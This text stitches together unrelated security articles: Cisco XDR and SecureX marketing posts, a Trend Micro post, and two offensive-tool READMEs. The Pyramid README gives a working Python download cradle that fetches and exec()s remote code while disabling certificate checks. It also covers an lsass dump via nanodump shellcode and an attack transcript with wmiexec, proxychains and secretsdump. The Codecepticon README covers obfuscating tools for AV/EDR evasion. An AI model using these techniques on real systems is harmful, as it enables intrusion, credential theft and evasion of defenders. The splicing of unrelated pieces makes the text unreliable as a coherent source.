In addition to response workflows, the pivot menu provides the ability to leverage Secure Cloud Analytics (SCA) telemetry by generating a case book linking back to telemetry searches within SCA. This automation is critical to understanding the spread of a threat across an environment. A good example on this, is identifying all hosts communicating to a command-and-control destination before this destination was identified as malicious. This is a pre-existing SecureX workflow which can be taken advantage of today see workflow 0005 – SCA – Generate Case book with Flow Links.
Reducing time to remediation is a key aspect of keeping a business secure, SecureX orchestration automates responses with various solutions specially with NDR detections from SCA and use observables from these alerts to isolate hosts leveraging Secure Endpoint. SCA can send alerts via Webhooks and SecureX Orchestration receive them as triggers to launch an NDR- EDR workflow to isolate hosts automatically. (0014-SCA-Isolate endpoints from alerts)
This orchestration workflow automatically isolates rogue devices in a network or contain confirmed threat alerts received from Cisco’s Machine learning threat detection cloud and can be used for multiple different response scenarios.
The power of automation brought by SecureX, Secure Cloud Analytics and Secure Endpoint accelerates XDR outcomes drastically which simplifies Security Analyst (Sam) and Incident Responder (Remi) jobs and make it more efficient with accurate incident prioritization, automatic investigation/enrichment and most importantly automating responses.
We’d love to hear what you think. Ask a Question, Comment Below, and Stay Connected with Cisco Secure on social!
Cisco Secure Social Channels
Codecepticon is a .NET application that allows you to obfuscate C#, VBA/VB6 (macros), and PowerShell source code, and is developed for offensive security engagements such as Red/Purple Teams. What separates Codecepticon from other obfuscators is that it targets the source code rather than the compiled executables, and was developed specifically for AV/EDR evasion.
Codecepticon allows you to obfuscate and rewrite code, but also provides features such as rewriting the command line as well.
! Before we begin !
This documentation is on how to install and use Codecepticon only. Compilation, usage, and support for tools like Rubeus and SharpHound will not be provided. Refer to each project's repo separately for more information.
Codecepticon is actively developed/tested in VS2022, but it should work in VS2019 as well. Any tickets/issues created for VS2019 and below, will not be investigated unless the issue is reproducible in VS2022. So please use the latest and greatest VS2022.
The following packages MUST be v3.9.0, as newer versions have the following issue which is still open: dotnet/roslyn#58463
Codecepticon checks the version of these packages on runtime and will inform you if the version is different to v3.9.0.
It cannot be stressed this enough: always test your obfuscated code locally first.
Open Codecepticon, wait until all NuGet packages are downloaded and then build the solution.
There are two ways to use Codecepticon, either by putting all arguments in the command line or by passing a single XML configuration file. Due to the high level of supported customisations, It's not recommended manually going through --help output to try and figure out which parameters to use and how. Use CommandLineGenerator.html and generate your command quickly:
The command generator's output format can be either Console or XML, depending what you prefer. Console commands can be executed as:
Codecepticon.exe --action obfuscate --module csharp --verbose ...etc
While when using an XML config file, as:
Codecepticon.exe --config C:\Your\Path\To\The\File.xml
If you want to deep dive into Codecepticon's functionality, check out this document.
For tips you can use, check out this document.
Obfuscating a C# project is simple, simply select the solution you wish to target. Note that a backup of the solution itself will not be taken, and the current one will be the one that will be obfuscated. Make sure that you can independently compile the target project before trying to run Codecepticon against it.
The VBA obfuscation works against source code itself rather than a Microsoft Office document. This means that you cannot pass a doc(x) or xls(x) file to Codecepticon. It will have to be the source code of the module itself (press Alt-F11 and copy the code from there).
Due to the complexity of PowerShell scripts, along with the freedom it provides in how to write scripts it is challenging to cover all edge cases and ensure that the obfuscated result will be fully functional. Although it's expected for Codecepticon to work fine against simple scripts/functionality, running it against complex ones such as PowerView will not work - this is a work in progress.
After obfuscating an application or a script, it is very likely that the command line arguments have also been renamed. The solution to this is to use the HTML mapping file to find what the new names are. For example, let's convert the following command line:
SharpHound.exe --CollectionMethods DCOnly --OutputDirectory C:\temp\
By searching through the HTML mapping file for each argument, we get:
And by replacing all strings the result is:
ObfuscatedSharpHound.exe --AphylesPiansAsp TurthsTance --AnineWondon C:\temp\
However, some values may exist in more than one category:
Therefore it is critical to always test your result in a local environment first.
The compiled output includes a lot of dependency DLLs, which due to licensing requirements we can't re-distribute without written consent.
No, Codecepticon should work with everything. The profiles are just a bit of extra tweaks that are done to the target project in order to make it more reliable and easier to work with.
But as all code is unique, there will be instances where obfuscating a project will end up with an error or two that won't allow it to be compiled or executed. In this case a new profile may be in order - please raise a new issue if this is the case.
Same principle applies to PowerShell/VBA code - although those currently have no profiles that come with Codecepticon, it's an easy task to add if some are needed.
For reporting bugs and suggesting new features, please create an issue.
For submitting pull requests, please see the Contributions section.
Before running Codecepticon make sure you can compile a clean version of the target project. Very often when this issue appears, it's due to missing dependencies for the target solution rather than Codecepticon. But if it still doesn't compile:
I will do my best, but as PowerShell scripts can be VERY complex and the PSParser isn't as advanced as Roslyn for C#, no promises can be made. Same applies for VBA/VB6.
You may at some point encounter the following error:
Still trying to get to the bottom of this one, a quick fix is to uninstall and reinstall the System.Collections.Immutable package, from the NuGet Package Manager.
Whether it's a typo, a bug, or a new feature, Codecepticon is very open to contributions as long as we agree on the following:
Pyramid is a set of Python scripts and module dependencies that can be used to evade EDRs. The main purpose of the tool is to perform offensive tasks by leveraging some Python evasion properties and looking as a legit Python application usage. This can be achieved because:
For more information please check the DEFCON30 - Adversary village talk "Python vs Modern Defenses" slide deck and this post on my blog.
This tool was created to demostrate a bypass strategy against EDRs based on some blind-spots assumptions. It is a combination of already existing techniques and tools in a (to the best of my knowledge) novel way that can help evade defenses. The sole intent of the tool is to help the community increasing awareness around this kind of usage and accelerate a resolution. It' not a 0day, it's not a full fledged shiny C2, Pyramid exploits what might be EDRs blind spots and the tool has been made public to shed some light on them. A defense paragraph has been included, hoping that experienced blue-teamers can help contribute and provide better possible resolution on the issue Pyramid aims to highlight. All information is provided for educational purposes only. Follow instructions at your own risk. Neither the author nor his employer are responsible for any direct or consequential damage or loss arising from any person or organization.
Pyramid is using some awesome tools made by:
TrustedSec for COFFLoader
snovvcrash - base-DonPAPI.py - base-LaZagne.py - base-clr.py
Pyramid capabilities are executed directly from python.exe process and are currently:
Pyramid is meant to be used unpacking an official embeddable Python package and then running python.exe to execute a Python download cradle. This is a simple way to avoid creating uncommon Process tree pattern and looking like a normal Python application usage.
In Pyramid the download cradle is used to reach a Pyramid Server (simple HTTPS server with auth) to fetch base scripts and dependencies.
Base scripts are specific for the feature you want to use and contain:
BOFs are ran through a base script containing the shellcode resulted from bof2shellcode and the related in-process injection code.
The Python dependencies have been already fixed and modified to be imported in memory without conflicting.
There are currently 8 main base scripts available:
git clone https://github.com/naksyn/Pyramid
Generate SSL certificates for HTTP Server:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
Example of running Pyramid HTTP Server using SSL certificate and by providing Basic Authentication:
python3 PyramidHTTP.py 443 testuser Sup3rP4ss! /home/user/SSL/key.pem /home/user/SSL/cert.pem /home/user/Pyramid/Server/
Insert AD details and HTTPS credentials in the upper part of the script.
Insert AD details and HTTPS credentials in the upper part of the script.
The nanodump BOF has been modified stripping Beacon API calls, cmd line parsing and hardcoding input arguments in order to use the process forking technique and outputting lsass dump to C:\Users\Public\video.avi. To change these settings modify nanodump source file entry.c accordingly and recompile the BOF. Then use the tool bof2shellcode giving as input the compiled nanodump BOF:
python3 bof2shellcode.py -i /home/user/bofs/nanodump.x64.o -o nanodump.x64.bin
You can transform the resulting shellcode to python format using msfvenom:
msfvenom -p generic/custom PAYLOADFILE=nanodump.x64.bin -f python > sc_nanodump.txt
Then paste it into the base script within the shellcode variable.
Insert SSH server, local port forward details details and HTTPS credentials in the upper part of the script and modify the sc variable using your preferred shellcode stager. Remember to tunnel your traffic using SSH local port forward, so the stager should have 127.0.0.1 as C2 server and the SSH listening port as the C2 port.
Insert AD details and HTTPS credentials in the upper part of the script.
Insert HTTPS credentials in the upper part of the script and change lazagne module if needed.
Insert HTTPS credentials in the upper part of the script and assembly bytes of the file you want to load.
Insert parameters in the upper part of the script.
Once the Pyramid server is running and the Base script is ready you can execute the download cradle from python.exe. A Python download cradle can be as simple as:
import urllib.request
import base64
import ssl
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
gcontext.check_hostname = False
gcontext.verify_mode = ssl.CERT_NONE
request = urllib.request.Request('https://myIP/base-bof.py')
base64string = base64.b64encode(bytes('%s:%s' % ('testuser', 'Sup3rP4ss!'),'ascii'))
request.add_header("Authorization", "Basic %s" % base64string.decode('utf-8'))
result = urllib.request.urlopen(request, context=gcontext)
payload = result.read()
exec(payload)Bear in mind that urllib is an Embeddable Package native Python module, so you don't need to install additional dependencies for this cradle. The downloaded python "base" script will in-memory import the dependencies and execute its capabilites within the python.exe process.
To execute Pyramid without bringing up a visible python.exe prompt you can leverage pythonw.exe that won't open a console window upon execution and is contained in the very same Windows Embeddable Package. The following picture illustrate an example usage of pythonw.exe to execute base-tunnel-socks5.py on a remote machine without opening a python.exe console window.
The attack transcript is reported below:
Start Pyramid Server:
python3 PyramidHTTP.py 443 testuser Sup3rP4ss! /home/nak/projects/dev/Proxy/Pyramid/key.pem /home/nak/projects/dev/Proxy/Pyramid/cert.pem /home/nak/projects/dev/Proxy/Pyramid/Server/
Save the base download cradle to cradle.py.
Copy unpacked windows Embeddable Package (with cradle.py) to target:
smbclient //192.168.1.11/C$ -U domain/user -c 'prompt OFF; recurse ON; lcd /home/user/Downloads/python-3.10.4-embed-amd64; cd Users\Public; mkdir python-3.10.4-embed-amd64; cd python-3.10.4-embed-amd64; mput *'
Execute pythonw.exe to launch the cradle:
/usr/share/doc/python3-impacket/examples/wmiexec.py domain/user:"Password1\!"@192.168.1.11 'C:\Users\Public\python-3.10.4-embed-amd64\pythonw.exe C:\Users\Public\python-3.10.4-embed-amd64\cradle.py'
Socks5 server is running on target and SSH tunnel should be up, so modify proxychains.conf and tunnel traffic through target:
proxychains impacket-secretsdump domain/user:"Password1\!"@192.168.1.50 -just-dc
Dynamically loading Python modules does not natively support importing *.pyd files that are essentially dlls. The only public solution to my knowledge that solves this problem is provided by Scythe *(in-memory-execution) by re-engineering the CPython interpreter. In ordrer not to lose the digital signature, one solution that would allow using the native Python embeddable package involves dropping on disk the required pyd files or wheels. This should not have significant OPSEC implications in most cases, however bear in mind that the following wheels containing pyd files are dropped on disk to allow Dinamic loading to complete: *. Cryptodome - needed by Bloodhound-Python, Impacket, DonPAPI and LaZagne *. bcrypt, cryptography, nacl, cffi - needed by paramiko
Python.exe is a signed binary with good reputation and does not provide visibility on Python dynamic code. Pyramid exploits these evasion properties carrying out offensive tasks from within the same python.exe process.
For this reason, one of the most efficient solution would be to block by default binaries and dlls signed by Python Foundation, creating exceptions only for users that actually need to use python binaries.
Alerts on downloads of embeddable packages can also be raised.
Deploying PEP-578 is also feasible although complex, this is a sample implementation. However, deploying PEP-578 without blocking the usage of stock python binaries could make this countermeasure useless.
In the second part of this blog series on Unscrambling Cybersecurity Acronyms, we covered Endpoint Detection and Response (EDR) and Managed Endpoint Detection and Response (MEDR) solutions, which included an overview of the evolution of endpoint security solutions. In this blog, we’ll go over Managed Detection and Response (MDR) and Extended Detection and Response (XDR) solutions in more depth.
MDR solutions are a security technology stack delivered as a managed service to customers by third-parties such as cybersecurity vendors or Managed Service Providers (MSPs). They’re similar to Managed Endpoint Detection and Response (MEDR) solutions since both solutions are managed cybersecurity services that use Security Operations Center (SOC) experts to monitor, detect, and respond to threats targeting your organization. However, the main difference between these two offerings is that MEDR solutions monitor only your endpoints while MDR solutions monitor a broader environment.
While MDR security solutions don’t have an exact definition for the types of infrastructure they monitor and the underlying security stack that powers them, they often monitor your endpoint, network, and cloud environments via a ‘follow the sun’ approach that uses multiple security teams distributed around the world to continually defend your environment. These security analysts monitor your environment 24/7 for threats, analyze and prioritize threats, investigate potential incidents, and offer guided remediation of attacks. This enables you to quickly detect advanced threats, effectively contain attacks, and rapidly respond to incidents.
More importantly, MDR security solutions allow you to augment or outsource your security to cybersecurity experts. While nearly every organization must defend their environment from cyberattacks, not every organization has the time, expertise, or personnel to run their own security solution. These organizations can benefit from outsourcing their security to MDR services, which enable them to focus on their core business while getting the security expertise they need. In addition, some organizations don’t have the budget or resources to monitor their environment 24/7 or they may have a small security team that struggles to investigate every threat. MDR security services can also help these organizations by giving them always-on security operations while enabling them to address every threat to their organization.
One drawback to deploying an MDR security service is that you become dependent on a third-party for your security needs. While many organizations don’t have any issues with this, some organizations may be hesitant to hand over control of their cybersecurity to a third-party vendor. In addition, organizations such as larger, more-risk averse companies may not desire an MDR service because they’ve already made cybersecurity investments such as developing their own SOC. Finally, MDR security solutions don’t have truly unified detection and response capabilities since they’re typically powered by heterogenous security technology stacks that lack consolidated telemetry, correlated detections, and holistic incident response. This is where XDR solutions shine.
XDR solutions unify threat monitoring, detection, and response across your entire environment by centralizing visibility, delivering contextual insights, and coordinating response. While ‘XDR’ means different things to different people because it’s a fairly nascent technology, XDR solutions usually consolidate security telemetry from multiple security products into a single solution. Moreover, XDR security solutions provide enriched context by correlating alerts from different security solutions. Finally, comprehensive XDR solutions can simplify incident response by allowing you to automate and orchestrate threat response across your environment.
These solutions speed up threat detection and response by providing a single pane of glass for gaining visibility into threats as well as detecting and responding to attacks. Furthermore, XDR security solutions reduce alert fatigue and false positives with actionable, contextual insights from higher-fidelity detections that mean you spend less time sifting through endless alerts and can focus on the most critical threats. Finally, XDR solutions enable you to streamline your security operations with improved efficiency from automated, orchestrated response across your entire security stack from one unified console.
A major downside to XDR security solutions is that you typically have to deploy and manage these solutions yourself versus having a third-party vendor run them for you. While Managed XDR (MXDR) services are growing, these solutions are still very much in their infancy. In addition, not every organization will want or need a full-fledged XDR solution. For instance, organizations with a higher risk threshold may be satisfied with using an EDR solution and/or an MDR service to defend their organization from threats.
As I mentioned in the first and second parts of this blog series, you shouldn’t take a ‘one-size-fits-all’ approach to cybersecurity since every organization has different needs, goals, risk appetites, staffing levels, and more. This logic holds true for MDR and XDR solutions, with these solutions working well for certain organizations and not so well for other organizations. Regardless, there are a few aspects to consider when evaluating MDR and XDR security solutions.
One factor to keep in mind is if you already have or are planning on building out your own SOC. This is important to think about because developing and operating a SOC can require large investments in cybersecurity, which includes having the right expertise on your security teams. Organizations unwilling to make these commitments usually end up choosing managed security services such as MDR solutions, which allows them to protect their organization without considerable upfront investments.
Other critical factors to consider are your existing security maturity and overall goals. For instance, organizations who have already made significant commitments to cybersecurity often think about ways to improve the operational efficiency of their security teams. These organizations frequently turn to XDR tools since these solutions reduce threat detection and response times, provide better visibility and context while decreasing alert fatigue. Moreover, organizations with substantial security investments should consider open and extensible XDR solutions that integrate with their existing tools to avoid having to ‘rip and replace’ security tools, which can be costly and cumbersome.
I hope this blog series on the different threat detection and response solutions help you make sense of the different cybersecurity acronyms while guiding you in your decision on the right security solution for your organization. For more information on MDR solutions, read about how Cisco Secure Managed Detection and Response (MDR) rapidly detects and contains threats with an elite team of security experts. For more information on XDR solutions, learn how the Cisco XDR offering finds and remediates threats faster with increased visibility and critical context to automate threat response.
We’d love to hear what you think. Ask a Question, Comment Below, and Stay Connected with Cisco Secure on social!
Cisco Secure Social Channels
In the first part of this blog series on Unscrambling Cybersecurity Acronyms, we provided a high-level overview of the different threat detection and response solutions and went over how to find the right solution for your organization. In this blog, we’ll do a deeper dive on two of these solutions – Endpoint Detection and Response (EDR) and Managed Endpoint Detection and Response (MEDR). However, first let’s take a look back at the history of endpoint security solutions and understand how we got EDR and MEDR security solutions.
The very first endpoint security solutions started out as anti-virus solutions (AV) with basic security functionality that relied heavily on signature-based detection. These solutions were effective against known threats where a signature was created, but ineffective against unknown threats such as new and emerging attacks. That meant that organizations struggled to stay ahead of attackers, who were continuously evolving their techniques to evade detection with new types of malware.
To address this problem, AV vendors added detection technologies such as heuristics, reputational analysis, behavioral protection, and even machine learning to their solutions, which became known as Endpoint Protection Platforms (EPP). These unified solutions were effective against both known and unknown threats and frequently used multiple approaches to prevent malware and other attacks from infecting endpoints.
As cyberattacks grew increasingly sophisticated though, many in the cybersecurity industry recognized that protection against threats wasn’t enough. Effective endpoint security had to include detection and response capabilities to quickly investigate and remediate the inevitable security breach. This led to the creation of EDR security solutions, which focused on post-breach efforts to contain and clean up attacks on compromised endpoints.
Today, most endpoint security vendors combine EPP and EDR solutions into a single, converged solution that provides holistic defense to customers with protection, detection, and response capabilities. Many vendors are also offering EDR as a managed service (also known as MEDR) to customers who need help in securing their endpoints or who don’t have the resources to configure and manage their own EDR solution. Now that we’ve gone over how endpoint security evolved into EDR and MEDR security solutions, let’s cover EDR and MEDR in more depth.
EDR solutions continuously monitor your endpoints for threats, alert you in case suspicious activity is detected, and allow you to investigate, respond to and contain potential attacks. Moreover, many EDR security solutions provide threat hunting functionality to help you proactively spot threats in your environment. They’re often coupled with or part of a broader endpoint security solution that also includes prevention capabilities via an EPP solution to protect against the initial incursion.
As a result, EDR security solutions enable you to protect your organization from sophisticated attacks by rapidly detecting, containing, and remediating threats on your endpoints before they gain a foothold in your environment. They give you deep visibility into your endpoints while effectively identifying both known and unknown threats. Furthermore, you can quickly contain attacks that get through your defenses with automated response capabilities and hunt for hidden threats that are difficult to detect.
While EDR provides several benefits to customers, it has some drawbacks. Chief among them is that EDR security solutions are focused on monitoring endpoints only versus monitoring a broader environment. This means that EDR solutions don’t detect threats targeting other parts of your environment such as your network, email, or cloud infrastructure. In addition, not every organization has the security staff, budget, and/or skills to deploy and run an EDR solution. This is where MEDR solutions come into play.
Managed EDR or MEDR solutions are EDR capabilities delivered as a managed service to customers by third-parties such as cybersecurity vendors or Managed Service Providers (MSPs). This includes key EDR functionality such as monitoring endpoints, detecting advanced threats, rapidly containing threats, and responding to attacks. These third-parties usually have a team of Security Operations Center (SOC) specialists who monitor, detect, and respond to threats across your endpoints around the clock via a ‘follow the sun’ approach to monitoring.
MEDR security solutions allow you to offload the work of securing your endpoints to a team of security professionals. Many organizations need to defend their endpoints from advanced threats but don’t necessarily have the desire, resources, or expertise to manage an EDR solution. In addition, a team of dedicated SOC experts with advanced security tools can typically detect and respond to threats faster than in-house security teams, all while investigating every incident and prioritizing the most critical threats. This enables you to focus on your core business while getting always-on security operations.
Similar to EDR though, one downside to MEDR security solutions is that they defend only your endpoints from advanced threats and don’t monitor other parts of your infrastructure. Moreover, while many organizations want to deploy EDR as a managed service, not everyone desires this. For example, larger and/or more risk-averse organizations who are looking to invest heavily in cybersecurity are typically satisfied with running their own EDR solution. Now, let’s discuss how to choose the right endpoint security solution when trying to defend your endpoints from threats.
As I mentioned in my previous blog, there isn’t a single correct solution for every organization. This logic applies to EDR and MEDR security solutions as well since each solution works well for different types of organizations, depending on their needs, resources, motivations, and more. Nevertheless, one major factor to consider is if you have or are willing to build out a SOC for your organization. This is important because organizations that don’t have or aren’t willing to develop a SOC usually gravitate towards MEDR solutions, which don’t require significant investments in cybersecurity.
Another factor to keep in mind is your security expertise. Even if you’re have or are willing to build a SOC, you may not have the right cybersecurity talent and skills within your organization. While you can always build out your security team, you may want to evaluate an MEDR solution because a lack of expertise makes it difficult to effectively manage an EDR solution. Finally, a common misconception is that you must choose between an EDR and a MEDR solution and that you cannot run both solutions. In reality, many organizations end up using both EDR and MEDR since MEDR solutions often complement EDR deployments.
I hope this information and key factors help you better understand EDR and MEDR solutions while acting as a guide to selecting the best endpoint security solution for your organization. For more details on the different cybersecurity acronyms and how to identify the right solution for your needs, stay tuned for the next blog in this series – Unscrambling Cybersecurity Acronyms: The ABCs of MDR and XDR Security. In the meantime, learn how Cisco Secure Endpoint stops threats with a comprehensive endpoint security solution that includes both advanced EDR and MEDR capabilities powered by an integrated security platform!
We’d love to hear what you think. Ask a Question, Comment Below, and Stay Connected with Cisco Secure on social!
Cisco Secure Social Channels
Ransomware and other advanced attacks continue to evolve and threaten organizations around the world. Effectively defending your endpoints from these attacks can be a complex undertaking, and a seemingly endless number of security acronyms only compounds that complexity. There are so many acronyms – EPP, EDR, MEDR, MDR, XDR, and more – for various cybersecurity products and services that it becomes difficult to understand the differences between them and choose the right solution for your organization. Deciphering all these acronyms is a task on its own and deciding which solution works best for you is even more challenging.
We here at Cisco believe that understanding these acronyms and determining which security products or services are the best fit for your organization’s needs doesn’t have to be so hard. That’s why we developed this blog – the first in a series – to give you an overview of the different types of threat detection and response solutions.
This series will help you understand the benefits and disadvantages of each solution, the similarities and differences between these solutions, and how to identify the right solution for your organization. Now let’s go over the different types of security solutions.
There are several types of threat detection and response solutions, including:
These solutions are similar in that they all enable you to detect and respond to threats, but they differ by the environment(s) being monitored for threats, who conducts the monitoring, as well as how alerts are consolidated and correlated. For instance, certain solutions will only monitor your endpoints (EDR, MEDR) while others will monitor a broader environment (XDR, MDR). In addition, some of these solutions are actually managed services where a third-party monitors your environment (MEDR, MDR) versus solutions that you monitor and manage yourself (EDR, XDR).
When evaluating these solutions, keep in mind that there isn’t a single correct solution for every organization. This is because each organization has different needs, security maturities, resource levels, and goals. For example, deploying an EDR makes sense for an organization that currently has only a basic anti-virus solution, but this seems like table stakes to a company that already has a Security Operations Center (SOC).
That being said, there are a few questions you can ask yourself to find the cybersecurity solution that best fits your needs, including:
Of these questions, the most critical are about your security goals and current cybersecurity posture. For instance, organizations at the beginning of their security journey may want to look at an EDR or MEDR solution, while companies that are further along their journey are more likely to be interested in an XDR. Asking whether you already have or are willing to build out a SOC is another essential question. This will help you understand whether you should run your security yourself (EDR, XDR) or find a third-party to manage it for you (MEDR, MDR).
Asking whether you have or are willing to hire the right security talent is another critical question to pose. This will also help determine whether to manage your cybersecurity solution yourself or have a third-party run it for you. Finally, questions about visibility and context, alert, and security tool fatigue, as well as detection and response times will help you to decide if your current security stack is sufficient or if you need to deploy a next-generation solution such as an XDR.
These questions will help guide your decision-making process and give you the information you need to make an informed decision on your cybersecurity solution. For more details on the different endpoint security acronyms and how to determine the right solution for your organization, keep an eye out for the next blog in this series – Unscrambling Cybersecurity Acronyms: The ABCs of EDR and MEDR. Stay tuned!
We’d love to hear what you think. Ask a Question, Comment Below, and Stay Connected with Cisco Secure on social!
Cisco Secure Social Channels
Instagram
Facebook
Twitter
LinkedIn
Over the past three decades, we’ve had time at Trend Micro to observe the industry trends that have the biggest impact on our customers. And one of the big things we’ve seen is that threats move largely in tandem with changes to IT infrastructure. This matters today because most organizations are transforming the way they run and manage their infrastructure—a daunting task on its own.
But with digital transformation also comes an expanded corporate attack surface, driving security leaders to demand enhanced visibility, detection & response across the entire enterprise — this is not just about the endpoint.
Transforming business
Over the past five years, there has been a major shift in the way IT infrastructure is delivered, and with that shift, increasing complexity. A big part of this change has been the use of the cloud, reflected in Gartner’s prediction that the market will grow to over $266 billion in 2020. Organizations everywhere are leveraging the cloud and DevOps to rapidly deliver new and differentiated applications and services for their customers, partners and employees. And the use of containers and microservices across a multi-cloud and hybrid environment is increasingly common.
In addition to leveraging public cloud services like IaaS, organizations are also rapidly adopting SaaS applications like Office 365, and expanding their use of mobile and collaborative applications to support remote working. Some are even arguing that working patterns may never be the same again, following the changes forced on many employers by the Covid-19 pandemic.
Combine these changes with networks that continue to extend to include branch offices and add new areas to protect like operational technology including industrial systems, and we can certainly see that the challenges facing the modern enterprise look nothing like they did a few years ago.
Under fire, under pressure
All of these infrastructure changes make for a broader attack surface that the bad guys can take advantage of, and they’re doing so with an increasingly wide range of tools and techniques. In the cloud there is a new class of vulnerabilities introduced through a greater use of open source, containers, orchestration platforms, supply chain applications and more. For all organizations, the majority of threats still prey upon the user, arriving via email (over 90% of the 52.3 billion we blocked in 2019), and they’re no longer just basic phishing attempts. There’s been an uptick in fileless events designed to bypass traditional security filters (we blocked 1.4 million last year). And Business Email Compromise (BEC) and ransomware continue to evolve, the latter causing major outages across local government, healthcare and other vulnerable sectors.
Organizations are often left flat-footed because they don’t have the in-house skills to secure a rapidly evolving IT environment. Mistakes get made, and configuration errors can allow the hackers to sneak in.
Against this backdrop, CISOs need visibility, detection and response capabilities across the extended enterprise. But in too many cases, teams are struggling because they have:
|
|
Beyond the endpoint
While endpoint detection and response (EDR) has become a popular response to some of these problems over recent years, the reality is that cyber-attacks are rarely straightforward and limited to the endpoint (as noted in the email statistic above). Security teams actually need visibility, detection, and response across the entire IT environment, so they can better contextualize and deal with threats.
This is what Trend Micro XDR offers. It provides visibility across not just endpoints but also email, servers, cloud workloads and networks, applying AI and expert security analytics to correlate and identify potential threats. The result is fewer, higher fidelity alerts for stretched IT security teams to deal with. Recognizing the skills shortage reality, we also offer a managed XDR service that augments in-house SOC activities with the power of Trend Micro security experts.
Detection and response is too important to be limited to the endpoint. Today’s CISOs need visibility, detection, and response everywhere.
The post Why CISOs Are Demanding Detection and Response Everywhere appeared first on .
